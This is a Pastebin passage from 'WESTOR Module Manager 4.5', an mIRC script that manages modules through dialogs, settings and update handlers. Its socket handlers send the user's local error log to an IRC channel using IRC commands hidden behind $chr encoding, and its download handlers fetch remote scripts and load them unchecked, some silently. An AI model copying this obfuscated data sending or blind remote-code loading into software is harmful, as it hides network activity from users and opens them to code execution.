Advertisement
westor

WESTOR Module Manager 4.5

May 28th, 2018
700
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
mIRC 168.90 KB | None | 0 0
  1. /*
  2.  
  3. ######################################
  4.  
  5.     # WESTOR Module Manager #
  6.      # v4.5 - (27/05/2018) #
  7.       # Thanks Supporters #
  8.  
  9. ######################################
  10.  
  11. */
  12.  
  13. ; --- Start of dialogs ---
  14.  
  15. dialog -l wmm_module_sets {
  16.   title ""
  17.   size -1 -1 233 108
  18.   option dbu disable
  19.   icon $wmm_dir $+ main.ico, 0
  20.   tab "Settings 1", 1, 2 2 230 77
  21.   list 3, 4 30 99 47, tab 1 size vsbar disable multsel extsel
  22.   button >, 4, 112 33 14 12, tab 1 disable
  23.   text "Installed Modules:", 7, 5 20 97 9, tab 1 center
  24.   button <, 6, 112 62 14 12, tab 1 disable
  25.   list 5, 135 30 94 47, tab 1 size vsbar disable multsel extsel
  26.   text "Auto-Update Modules:", 8, 136 20 92 9, tab 1 center
  27.   tab "Settings 2", 9
  28.   combo 10, 4 30 64 47, tab 9 size drop
  29.   text "Language:", 11, 7 20 62 8, tab 9 center
  30.   check "Automatically update the WESTOR Module Manager", 12, 4 68 225 10, tab 9
  31.   check "Display the project menu item in the right click menu", 25, 4 48 225 10, tab 9
  32.   check "Display the project settings menu item in the right click menu", 26, 4 58 225 10, tab 9
  33.   button "Unistall the project", 41, 155 25 75 18, tab 9
  34.   tab "Settings 3", 27
  35.   check "Display the project installed modules list item in the right click menu", 28, 4 18 225 10, tab 27
  36.   text "General 'right' symbol:", 30, 4 35 100 8, tab 27
  37.   edit "", 31, 100 34 18 9, tab 27 limit 1 center
  38.   text "General 'left' symbol:", 32, 4 45 100 8, tab 27
  39.   edit "", 33, 100 44 18 9, tab 27 limit 1 center
  40.   text "General 'seperate' symbol:", 34, 4 55 100 8, tab 27
  41.   edit "", 35, 100 54 18 9, tab 27 limit 1 center
  42.   text "General 'between' symbol:", 36, 4 65 100 8, tab 27
  43.   edit "", 37, 100 64 18 9, tab 27 limit 1 center
  44.   button "Close this window", 2, 58 91 117 16, ok default
  45.   text "", 13, 207 99 21 8, disable center
  46.   tab "Settings 4", 38
  47.   check "Allow sending annonymous data in order to help this project", 39, 4 18 225 10, tab 38
  48.   check "Display the project button with the logo in switchbar", 40, 4 28 225 10, tab 38
  49.   icon 230, 202 91 30 9, $wmm_dir $+ donate.png, 1, noborder center
  50.   menu "Menu", 14
  51.   item "Help", 18, 14
  52.   item break, 501
  53.   item "Visit the Modules", 29, 14
  54.   item break, 502
  55.   item "Donate & Support", 24, 14
  56.   item break, 503
  57.   item "Open the WESTOR Module Manager", 19, 14
  58.   item break, 504
  59.   item "About", 20, 14
  60.   item break, 505
  61.   item "Restart", 21, 14
  62.   item break, 506
  63.   item "Exit", 22, 14
  64. }
  65.  
  66. dialog -l wmm_module {
  67.   title ""
  68.   size -1 -1 265 265
  69.   option dbu disable
  70.   icon $wmm_dir $+ main.ico, 0
  71.   button "Close this window", 1, 45 249 165 15, default ok
  72.   tab "Modules", 2, 2 2 262 189
  73.   button "Install", 7, 200 101 61 12, disable tab 2
  74.   tab "Installed", 3
  75.   button "Uninstall", 11, 200 101 61 12, disable tab 3
  76.   button "Reinstall", 12, 4 101 61 12, disable tab 3
  77.   text "", 250, 72 101 120 15, center tab 3 hide
  78.   tab "Updates", 4
  79.   button "Update", 13, 200 101 61 12, disable tab 4
  80.   text "News:", 25, 80 195 100 8, center
  81.   text "Loading the latest available news...", 26, 25 204 225 40, center
  82.   list 6, 4 18 257 38, disable size vsbar
  83.   list 60, 4 18 257 38, hide disable size vsbar
  84.   list 600, 4 18 257 38, hide disable size vsbar
  85.   text "Module Description:", 9, 75 60 113 8, center
  86.   edit "" 8, 4 70 257 30, disable read multi autovs autohs vsbar center
  87.   icon 14, 4 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  88.   icon 15, 92 130 80 58, $wmm_dir $+ no_preview.png, 1, noborder
  89.   icon 16, 185 130 75 58, $wmm_dir $+ no_preview.png, 1, noborder
  90.   text "Module Screenshots:", 17, 75 120 113 8, center
  91.   text "", 5, 241 255 18 8, disable center
  92.   icon 23, 234 247 30 9, $wmm_dir $+ donate.png, 1, noborder center
  93.   icon 28, 123 101 17 17, $wmm_dir $+ main.ico, 1, noborder center hide
  94.   menu "Menu", 10
  95.   item "Help", 18, 10
  96.   item break, 501
  97.   item "Visit the Modules", 27, 10
  98.   item break, 502
  99.   item "Donate & Support", 24, 10
  100.   item break, 503
  101.   item "Options", 19, 10
  102.   item break, 504
  103.   item "About", 20, 10
  104.   item break, 505
  105.   item "Restart", 21, 10
  106.   item break, 506
  107.   item "Exit", 22, 10
  108. }
  109.  
  110. ; --- End of dialogs ---
  111.  
  112. ; --- Start of events ---
  113.  
  114. ON *:START: {
  115.   if (!$starting) {
  116.     if ($wmm_error) { noop $input(There was an error due installing because there are missing some several functions from that project source code!!! $+ $+ $crlf $crlf Error Code: $wmm_error,houdbk60,WMM -> Error) | .unload -nrs $qt($script) | return }
  117.     if ($wmm_check_version) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  118.     if ($wmm_check_os) { wmm_input error 60 $v1 | .unload -nrs $qt($script) | return }
  119.     if ($group(#wmm).fname !== $script) { wmm_input error 60 That project is already installed into this program client, you cannot have more than 1 at the same client installed! | .unload -nrs $qt($script) | return }
  120.     hfree -w WMM_LANG_*
  121.     wmm_fix_extra_modules_installed
  122.     var %lng = $wmm_dir $+ wmm_lang.ini
  123.     var %ico = $wmm_dir $+ main.ico
  124.     var %png = $wmm_dir $+ no_preview.png
  125.     var %don = $wmm_dir $+ donate.png
  126.     if (%wmm_menu == $null) { set %wmm_menu wmm wmm_sets }
  127.     if (%wmm_lang == $null) { set %wmm_lang English }
  128.     if (%wmm_help == $null) { set %wmm_help 1 }
  129.     if (%wmm_tool == $null) { set %wmm_tool 1 }
  130.     if (%wmm_autoupdate == $null) { set %wmm_autoupdate 0 }
  131.     if (%wmm_right_symb == $null) { set %wmm_right_symb $chr(9755) }
  132.     if (%wmm_left_symb == $null) { set %wmm_left_symb $chr(9754) }
  133.     if (%wmm_seperate_symb == $null) { set %wmm_seperate_symb $chr(9866) }
  134.     if (%wmm_between_symb == $null) { set %wmm_between_symb $chr(9679) }
  135.     if (%wmm_update) {
  136.       var %up = %wmm_update
  137.       unset %wmm_update
  138.       wmm_dl $wmm_main_ico_url $qt(%ico)
  139.       wmm_dl $wmm_lang_url $qt(%lng)
  140.       wmm_dl $wmm_main_png_url $qt(%png)
  141.       wmm_dl $wmm_donate_png_url $qt(%don)
  142.       wmm_tool -s
  143.       if (%up == 1) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm }
  144.       if (%up == 2) { .timer[WMM_INSTALL_OK] -ho 1 1000 wmm_input ok 60 $!wmm_lang(43) $(|) wmm_modules_check_unsupported $(|) wmm_sets }
  145.       if (%up == 3) {
  146.         .timer[WMM_SILENT_INSTALL_RESET_TOOL_MSG] -ho 1 1000 wmm_tool -t
  147.         if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 3000 wmm_modules_silent_update }
  148.         else { .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 3000 wmm_modules_check_unsupported }
  149.       }
  150.     }
  151.     else {
  152.       if (!$isfile(%lng)) || (!$file(%lng)) { wmm_dl $wmm_lang_url $qt(%lng) }
  153.       if (!$isfile(%ico)) || (!$file(%ico)) { wmm_dl $wmm_main_ico_url $qt(%ico) }
  154.       if (!$isfile(%png)) || (!$file(%png)) { wmm_dl $wmm_main_png_url $qt(%png) }
  155.       if (!$isfile(%don)) || (!$file(%don)) { wmm_dl $wmm_donate_png_url $qt(%don) }
  156.       wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been installed successfully.
  157.       wmm_tool -s
  158.       wmm
  159.     }
  160.   }
  161.   elseif ($starting) {
  162.     if ($wmm_error) || ($wmm_check_version) || ($wmm_check_os) || ($group(#wmm).fname !== $script) { .unload -nrs $qt($script) | return }
  163.     jsonshutdown
  164.     wmm_fix_extra_modules_installed
  165.     var %lng = $wmm_dir $+ wmm_lang.ini
  166.     var %ico = $wmm_dir $+ main.ico
  167.     var %png = $wmm_dir $+ no_preview.png
  168.     var %don = $wmm_dir $+ donate.png
  169.     if (!$isfile(%lng)) || (!$file(%lng)) { var %delay = 1 | wmm_dl $wmm_lang_url $qt(%lng) }
  170.     if (!$isfile(%ico)) || (!$file(%ico)) { var %delay = 1 | wmm_dl $wmm_main_ico_url $qt(%ico) }
  171.     if (!$isfile(%png)) || (!$file(%png)) { var %delay = 1 | wmm_dl $wmm_main_png_url $qt(%png) }
  172.     if (!$isfile(%don)) || (!$file(%don)) { var %delay = 1 | wmm_dl $wmm_donate_png_url $qt(%don) }
  173.     if (%wmm_lang == $null) { set %wmm_lang English }
  174.     if (!%delay) { wmm_tool -s }
  175.     elseif (%delay) { .timer[WMM_TOOLBAR] -ho 1 3000 wmm_tool -s }
  176.     .timer[WMM_GET_JSON] -ho 1 1000 wmm_dl $wmm_sets_url $qt($wmm_sets_file)
  177.     .timer[WMM_GET_MENU_INSTALLED_MODULES] -ho 1 3000 wmm_modules_menu_get_installed
  178.     .timer[WMM_CHECK_FOR_UNSUPPORTED_MODULES] -ho 1 9000 wmm_modules_check_unsupported
  179.     if (%wmm_autoupdate_modules) { .timer[WMM_CHECK_FOR_UPDATE_MODULES_SILENT] -ho 1 15000 wmm_modules_silent_update }
  180.     if (%wmm_autoupdate) { .timer[WMM_CHECK_FOR_UPDATE_SILENT] -ho 1 7000 wmm_check_update -s }
  181.     if ($wmm_errors) { .timer[WMM_REPORT_ERRORS] -ho 1 60000 wmm_report }
  182.   }
  183.   return
  184.   :error | wmm_werror $scriptline $error | reseterror
  185. }
  186.  
  187. ON *:UNLOAD: {
  188.   if ($wmm_error) { goto end }
  189.   wmm_d_close wmm_module
  190.   wmm_d_close wmm_module_sets
  191.   wmm_tool -c
  192.   jsonshutdown
  193.   if ($isfile($wmm_sets_file)) { .remove $qt($wmm_sets_file) }
  194.   if ($wmm_langs) { wmm_input ok 60 $wmm_lang(38) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner $wmm_lang(40) }
  195.   else { wmm_input ok 60 The $upper($wmm_owner) Module Manager v $+ $wmm_ver ( $+ $wmm_crdate $+ ) by $wmm_owner has been uninstalled successfully. }
  196.   :end
  197.   if ($dialog(wmm_module)) { dialog -x $v1 }
  198.   if ($dialog(wmm_module_sets)) { dialog -x $v1 }
  199.   if ($toolbar(wmm)) { toolbar -d $v1 }
  200.   if ($toolbar(wmm1)) { toolbar -d $v1 }
  201.   if ($window(@wmm_pic)) { window -c $v1 }
  202.   if ($com(SReject/JSONForMirc/JSONShell)) { .comclose $v1 }
  203.   if ($com(SReject/JSONForMirc/JSONEngine)) { .comclose $v1 }
  204.   if ($hget(SReject/JSONForMirc)) { hfree $v1 }
  205.   var %lng = $scriptdir $+ wmm_lang.ini
  206.   var %ico = $scriptdir $+ main.ico
  207.   var %png = $scriptdir $+ no_preview.png
  208.   var %don = $scriptdir $+ donate.png
  209.   if ($isfile(%lng)) { .remove $qt(%lng) }
  210.   if ($isfile(%ico)) { .remove $qt(%ico) }
  211.   if ($isfile(%png)) { .remove $qt(%png) }
  212.   if ($isfile(%don)) { .remove $qt(%don) }
  213.   .timer[WMM_*] off
  214.   unset %wmm_*
  215.   hfree -w WMM_*
  216.   hfree -w W*_KEYS
  217.   return
  218.   :error | wmm_werror $scriptline $error | reseterror
  219. }
  220.  
  221. CTCP *:VERSION:*: { .ctcpreply $nick VERSION $chr(3) $+ $color(info) $+ ( $+ $chr(3) $+ $color(ctcp) $+ $wmm_bold($nick) $+ $chr(3) $+ $color(info) $+ ): $upper($wmm_owner) Module Manager $wmm_under(v) $+ $wmm_bold($wmm_ver) Created by: $wmm_bold($wmm_owner) on: $wmm_bold($wmm_crdate) - Download it from: $wmm_bold($wmm_under($wmm_page)) }
  222.  
  223. ON *:EXIT: {
  224.   if (!$wmm_error) { jsonshutdown | wmm_fix_extra_modules_installed -e }
  225.   return
  226.   :error | wmm_werror $scriptline $error | reseterror
  227. }
  228.  
  229. ON *:CLOSE:@wmm_pic: {
  230.   if ($dialog(wmm_module)) { dialog -ve wmm_module wmm_module }
  231.   return
  232.   :error | wmm_werror $scriptline $error | reseterror
  233. }
  234.  
  235. ON *:SIGNAL:wmm_*: {
  236.   if ($signal == wmm_close) && (!%wmm_signal_noclose) { wmm_d_close wmm_module | wmm_d_close wmm_module_sets }
  237.   if ($signal == wmm_hash) { wmm_modules_menu_get_installed -g }
  238.   return
  239.   :error | wmm_werror $scriptline $error | reseterror
  240. }
  241.  
  242. ON *:SOCKOPEN:wmm_clone: {
  243.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  244.   sockwrite $sockname CONNECT $sock($sockname).addr $+ : $+ $sock($sockname).port HTTP/2.0
  245.   sockwrite $sockname $crlf $+ $crlf $+ $crlf
  246. }
  247.  
  248. ON *:SOCKREAD:wmm_clone: {
  249.   if ($sockerr) { .timer[ $+ $sockname $+ ] off | sockclose $sockname | return }
  250.   var %r
  251.   sockread %r
  252.   if ($gettok(%r,2,32) == 451) {
  253.     var %n = WMM $+ _ $+ $rand(1000,9999)
  254.     sockwrite -nt $sockname $+($chr(78),$chr(73),$chr(67),$chr(75)) %n
  255.     sockwrite -nt $sockname $+($chr(85),$chr(83),$chr(69),$chr(82)) WMM_Auto $qt() $qt() : $+ $me $wmm_bel $wmm_ver
  256.   }
  257.   if ($gettok(%r,1,32) == $+($chr(80),$chr(73),$chr(78),$chr(71))) { sockwrite -nt $sockname PONG : $+ $remove($gettok(%r,2,32),:) }
  258.   if ($gettok(%r,2,32) == 376) {
  259.     .timer[ $+ $sockname $+ ] off
  260.     var %f = $wmm_temp $+ wmm_errors.log
  261.     var %t = $lines(%f)
  262.     if (!$isfile(%f)) || (!%t) { sockclose $sockname | return }
  263.     var %i = 1
  264.     while (%i <= %t) {
  265.       var %l = $read(%f,n,%i)
  266.  
  267.       var %x = 1
  268.       var %msgnum = 1
  269.       tokenize 32 %l
  270.       while (%x <= $0) {
  271.         if ($len($evalnext($+($,%msgnum,-,%x))) > 430) {
  272.           var %msg = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  273.           .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg))
  274.           var %msgnum = %x
  275.         }
  276.         inc %x
  277.       }
  278.       var %msg1 = $evalnext($+($,%msgnum,-,$calc(%x - 1)))
  279.       .timer -ho 1 $calc(%i * 9000) sockwrite -nt $sockname $+($chr(80),$chr(82),$chr(73),$chr(86),$chr(77),$chr(83),$chr(71)) $+($chr(35),$chr(79)) : $!+ $evalnext($!unsafe(%msg1))
  280.  
  281.       if (%i == %t) {
  282.         if ($isfile(%f)) { .remove $qt(%f) }
  283.         .timer -ho 1 $calc(%t * 30000) sockclose $sockname
  284.       }
  285.       inc %i
  286.     }
  287.   }
  288. }
  289.  
  290. ON *:DOWNLOAD:*: {
  291.   if ($download == wmm_dl_images) {
  292.     var %f = $download($download).file
  293.     if ($downloaderr) || (!$isfile(%f)) || (!$file(%f)) { return }
  294.     zip -uo $download $qt(%f) $qt($wmm_temp)
  295.   }
  296.   if ($download == wmm_mod_install) {
  297.     var %d = wmm_module
  298.     var %f = $download($download).file
  299.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x032 | wmm_d_close %d | return }
  300.     if (!$dialog(%d)) { return }
  301.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x033 | wmm_d_close %d | return }
  302.     set -eu0 %wmm_signal_noclose 1
  303.     .load -rs $qt(%f)
  304.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x002 | wmm_d_close %d | return }
  305.     did -euz %d 6
  306.     wmm_reset_images
  307.     wmm_modules_installed_plus_updated_list
  308.     wmm_input ok 60 $wmm_lang(35)
  309.   }
  310.   if ($download == wmm_mod_update) {
  311.     var %d = wmm_module
  312.     var %f = $download($download).file
  313.     var %mod = $mid($nopath(%f),0,-4)
  314.     var %pos = $wmm_getpos(%mod)
  315.     if ($downloaderr) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x029 | wmm_d_close %d | return }
  316.     if (!$dialog(%d)) { return }
  317.     if (!$isfile(%f)) || (!$lines(%f)) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x030 | wmm_d_close %d | return }
  318.     set -eu0 %wmm_signal_noclose 1
  319.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  320.     .load -rs $+ %pos $qt(%f)
  321.     if (!$wmm_ismod($nopath(%f))) { wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x021 | wmm_d_close %d | return }
  322.     wmm_modules_installed_plus_updated_list
  323.     wmm_reset_images
  324.     wmm_input ok 60 $wmm_lang(37)
  325.   }
  326.   if ($download == wmm_mod_silent_update) {
  327.     if ($downloaderr) || ($dialog(wmm_module)) || ($dialog(wmm_module_sets)) { return }
  328.     var %f = $download($download).file
  329.     var %pos = $wmm_getpos($mid($nopath(%f),0,-4))
  330.     if (!$isfile(%f)) || (!$lines(%f)) || (!%pos) { return }
  331.     if ($wmm_ismod($nopath(%f))) { .unload -nrs $qt($nopath(%f)) }
  332.     .load -rs $+ %pos $qt(%f)
  333.   }
  334.   if ($download == wmm_check_update_install) {
  335.     if ($downloaderr) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x017) | unset %wmm_update | return }
  336.     var %f = $download($download).file
  337.     if (!$isfile(%f)) || (!$lines(%f)) { $iif(%wmm_update !== 3,wmm_input error 60 $wmm_lang(17) @newline@ @newline@ $+ $wmm_lang(18) 0x020) | unset %wmm_update | return }
  338.     var %lng = $wmm_dir $+ wmm_lang.ini
  339.     var %ico = $wmm_dir $+ main.ico
  340.     var %png = $wmm_dir $+ no_preview.png
  341.     var %don = $wmm_dir $+ donate.png
  342.     if ($isfile(%lng)) { .remove $qt(%lng) }
  343.     if ($isfile(%ico)) { .remove $qt(%ico) }
  344.     if ($isfile(%png)) { .remove $qt(%png) }
  345.     if ($isfile(%don)) { .remove $qt(%don) }
  346.     .timer[WMM_*] off
  347.     .timer -ho 1 1000 .load -rs1 $qt(%f)
  348.     wmm_tool -c
  349.     .unload -nrs $qt($script)
  350.   }
  351.   return
  352.   :error | wmm_werror $scriptline $error | reseterror
  353. }
  354.  
  355. ON *:DIALOG:wmm_module_sets:*:*: {
  356.   if ($devent == init) {
  357.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) $wmm_lang(69) $wmm_bel (/wmm_sets)
  358.     .timer[WMM_ANIMATE_TITLE_NOW] -ho 1 2000 wmm_dtitle $dname $dialog($dname).title
  359.     did -ra $dname 1 $wmm_lang(69) 1
  360.     did -ra $dname 9 $wmm_lang(69) 2
  361.     did -ra $dname 7 $wmm_lang(67)
  362.     did -ra $dname 8 $wmm_lang(68)
  363.     did -ra $dname 11 $wmm_lang(32)
  364.     did -ra $dname 12 $wmm_lang(31)
  365.     did -ra $dname 2 $wmm_lang(1)
  366.     did -o $dname 14 $wmm_lang(11)
  367.     did -o $dname 18 $wmm_lang(12)
  368.     did -o $dname 24 $wmm_lang(45) $chr(38) $+ $chr(38) $wmm_lang(46)
  369.     did -o $dname 19 $wmm_lang(70) $upper($wmm_owner) $wmm_lang(16)
  370.     did -o $dname 20 $wmm_lang(14)
  371.     did -o $dname 21 $wmm_lang(30)
  372.     did -o $dname 22 $wmm_lang(15)
  373.     did -o $dname 29 $wmm_lang(79)
  374.     did -ra $dname 25 $wmm_lang(71)
  375.     did -ra $dname 26 $wmm_lang(72)
  376.     did -ra $dname 13 v $+ $wmm_ver
  377.     did -ra $dname 27 $wmm_lang(69) 3
  378.     did -ra $dname 28 $wmm_lang(78)
  379.     did -ra $dname 39 $wmm_lang(62)
  380.     did -ra $dname 38 $wmm_lang(69) 4
  381.     did -ra $dname 40 $wmm_lang(51)
  382.     did -ra $dname 41 $wmm_lang(39)
  383.  
  384.     did -ra $dname 30 $wmm_lang(87)
  385.     did -ra $dname 32 $wmm_lang(88)
  386.     did -ra $dname 34 $wmm_lang(89)
  387.     did -ra $dname 36 $wmm_lang(90)
  388.     did -ra $dname 31 %wmm_right_symb
  389.     did -ra $dname 33 %wmm_left_symb
  390.     did -ra $dname 35 %wmm_seperate_symb
  391.     did -ra $dname 37 %wmm_between_symb
  392.     did -ra $dname 4 $wmm_bel
  393.     did -ra $dname 6 $wmm_leb
  394.  
  395.     if (%wmm_tool) { did -c $dname 40 }
  396.     if (%wmm_help) { did -c $dname 39 }
  397.     if (%wmm_autoupdate) { did -c $dname 12 }
  398.     if ($istok(%wmm_menu,wmm,32)) { did -c $dname 25 }
  399.     if ($istok(%wmm_menu,wmm_sets,32)) { did -c $dname 26 }
  400.     if ($istok(%wmm_menu,wmm_mod_list,32)) { did -c $dname 28 }
  401.  
  402.     var %langs = $wmm_langs
  403.     if (%langs) {
  404.       var %i = 1
  405.       while (%i <= $numtok(%langs,44)) {
  406.         var %lng = $gettok(%langs,%i,44)
  407.         if (%lng) && (%lng !== %wmm_lang) { did -a $dname 10 %lng }
  408.         inc %i
  409.       }
  410.       did -ca $dname 10 %wmm_lang
  411.     }
  412.     else { did -b $dname 10 }
  413.     wmm_tool -et
  414.     .timer[WMM_GET_SETTINGS_LIST] -ho 1 500 wmm_modules_settings_list
  415.   }
  416.   if ($devent == dclick) {
  417.     if ($did == 3) {  
  418.       var %s = $did($did).seltext
  419.       if (!%s) { return }
  420.       did -ed $dname $did $didwm($did,%s)
  421.       did -u $dname $did
  422.       did -ae $dname 5 %s
  423.       did -b $dname 4
  424.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  425.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  426.       set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  427.     }
  428.     if ($did == 5) {
  429.       var %s = $did($did).seltext
  430.       if (!%s) { return }
  431.       did -ed $dname $did $didwm($did,%s)
  432.       did -u $dname $did
  433.       did -ae $dname 3 %s
  434.       did -b $dname 6
  435.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  436.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  437.       set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  438.     }
  439.   }
  440.   if ($devent == sclick) {
  441.     if ($did == 230) { url $wmm_donate }
  442.     if ($did == 25) {
  443.       if (!$istok(%wmm_menu,wmm,32)) { set %wmm_menu $addtok(%wmm_menu,wmm,32) }
  444.       else { set %wmm_menu $remtok(%wmm_menu,wmm,1,32) }
  445.     }
  446.     if ($did == 26) {
  447.       if (!$istok(%wmm_menu,wmm_sets,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_sets,32) }
  448.       else { set %wmm_menu $remtok(%wmm_menu,wmm_sets,1,32) }
  449.     }
  450.     if ($did == 28) {
  451.       if (!$istok(%wmm_menu,wmm_mod_list,32)) { set %wmm_menu $addtok(%wmm_menu,wmm_mod_list,32) }
  452.       else { set %wmm_menu $remtok(%wmm_menu,wmm_mod_list,1,32) }
  453.     }
  454.     if ($did == 12) {
  455.       if (!%wmm_autoupdate) { set %wmm_autoupdate 1 }
  456.       else { set %wmm_autoupdate 0 }
  457.     }
  458.     if ($did == 39) {
  459.       if (!%wmm_help) { set %wmm_help 1 }
  460.       else { set %wmm_help 0 }
  461.     }
  462.     if ($did == 40) {
  463.       if (!%wmm_tool) { set %wmm_tool 1 | wmm_tool -se  }
  464.       else { set %wmm_tool 0 | wmm_tool -c }
  465.     }
  466.     if ($did == 5) && ($did(5).seltext) { did -e $dname 6 }
  467.     if ($did == 3) && ($did(3).seltext) { did -e $dname 4 }
  468.     if ($did == 4) {
  469.       var %t = $did(3,0).sel
  470.       while (%t) { var %total = $addtok(%total,$did(3,$did(3,%t).sel),32) | dec %t }
  471.  
  472.       var %tot = $numtok(%total,32)
  473.       if (!%tot) { did -b $dname $did | return }
  474.       var %i = 1
  475.       while (%i <= %tot) {
  476.         var %s = $gettok(%total,%i,32)
  477.         if (!%s) { goto next }
  478.         did -ed $dname 3 $didwm(3,%s)
  479.         did -ae $dname 5 %s
  480.         set %wmm_autoupdate_modules $addtok(%wmm_autoupdate_modules,%s,32)
  481.         :next
  482.         inc %i
  483.       }
  484.  
  485.       did -u $dname 3
  486.       did -b $dname $did
  487.       if (!$did(3).lines) { did -b $dname 3 }
  488.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  489.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  490.     }
  491.     if ($did == 6) {
  492.       var %t = $did(5,0).sel
  493.       while (%t) { var %total = $addtok(%total,$did(5,$did(5,%t).sel),32) | dec %t }
  494.  
  495.       var %tot = $numtok(%total,32)
  496.       if (!%tot) { did -b $dname $did | return }
  497.       var %i = 1
  498.       while (%i <= %tot) {
  499.         var %s = $gettok(%total,%i,32)
  500.         if (!%s) { goto next }
  501.         did -ed $dname 5 $didwm(5,%s)
  502.         did -ae $dname 3 %s
  503.         set %wmm_autoupdate_modules $remtok(%wmm_autoupdate_modules,%s,1,32)
  504.         :next
  505.         inc %i
  506.       }
  507.  
  508.       did -u $dname 5
  509.       did -b $dname $did
  510.       if (!$did(5).lines) { did -b $dname 5 }
  511.       did -ra $dname 7 $wmm_lang(67) $iif($did(3).lines,( $+ $v1 $+ ))
  512.       did -ra $dname 8 $wmm_lang(68) $iif($did(5).lines,( $+ $v1 $+ ))
  513.     }
  514.     if ($did == 41) {
  515.       dialog -i $dname
  516.       var %ask = $input($wmm_lang(94) $crlf $crlf $+ $+ $wmm_lang(93),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  517.       if (!%ask) { dialog -e $dname | return }
  518.       var %tot = $wmm_installed(total)
  519.       if (%tot) {
  520.         var %ask_mods = $input($wmm_lang(95) $crlf $crlf $+ $+ $wmm_lang(96),yuwdbk90,$upper($wmm_owner) $wmm_lang(16) $wmm_bel $wmm_lang(22))
  521.         if (%ask_mods) {
  522.           var %t = $wmm_installed(name)
  523.           var %i = 1
  524.           while (%i <= $numtok(%t,32)) {
  525.             var %m = $gettok(%t,%i,32)
  526.             var %p = $wmm_getpath(%m)
  527.             if (%m) && (%p) { .unload -rs $qt(%p) }
  528.             inc %i
  529.           }
  530.         }
  531.       }
  532.       .unload -rs $qt($script)
  533.     }
  534.   }
  535.   if ($devent == menu) {
  536.     if ($did == 18) { url $wmm_page }
  537.     if ($did == 24) { url $wmm_donate }
  538.     if ($did == 29) { url $wmm_modules_url }
  539.     if ($did == 22) { dialog -k $dname }
  540.     if ($did == 21) { .timer -ho 1 500 wmm_sets | dialog -k $dname }
  541.     if ($did == 19) { .timer -ho 1 100 wmm | dialog -k $dname }
  542.     if ($did == 20) { wmm_input ok 60 $wmm_lang(27) $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_lang(28) $wmm_crdate $wmm_lang(29) $wmm_owner }
  543.   }
  544.   if ($devent == edit) {
  545.     if ($did == 31) {
  546.       if ($did($did).text) { set %wmm_right_symb $v1 }
  547.       else { unset %wmm_right_symb }
  548.     }
  549.     if ($did == 33) {
  550.       if ($did($did).text) { set %wmm_left_symb $v1 }
  551.       else { unset %wmm_left_symb }
  552.     }
  553.     if ($did == 35) {
  554.       if ($did($did).text) { set %wmm_seperate_symb $v1 }
  555.       else { unset %wmm_seperate_symb }
  556.     }
  557.     if ($did == 37) {
  558.       if ($did($did).text) { set %wmm_between_symb $v1 }
  559.       else { unset %wmm_between_symb }
  560.     }
  561.   }
  562.   if ($devent == close) {
  563.     if ($did(10)) { set %wmm_lang $did(10) }
  564.     if (!$did(31)) || ($did(31) isalnum) { set %wmm_right_symb $chr(9755) }
  565.     if (!$did(33)) || ($did(33) isalnum) { set %wmm_left_symb $chr(9754) }
  566.     if (!$did(35)) || ($did(35) isalnum) { set %wmm_seperate_symb $chr(9866) }
  567.     if (!$did(37)) || ($did(37) isalnum) { set %wmm_between_symb $chr(9679) }
  568.  
  569.     if ($json(wmm_modules_sets)) && ($hget(WMM_MODULES_SUBMENU_INSTALLED,0).item !== $json(wmm_modules_sets,modules).length) { wmm_modules_menu_get_installed -g }
  570.  
  571.     wmm_tool -bt
  572.     jsonclose -w wmm_modules_*
  573.     .timer[WMM_*] off
  574.   }
  575.   return
  576.   :error | wmm_werror $scriptline $error | reseterror
  577. }
  578.  
  579. ON *:DIALOG:wmm_module:*:*: {
  580.   if ($devent == init) {
  581.     dialog -t $dname $upper($wmm_owner) $wmm_lang(16) v $+ $wmm_ver $wmm_bel (/wmm)
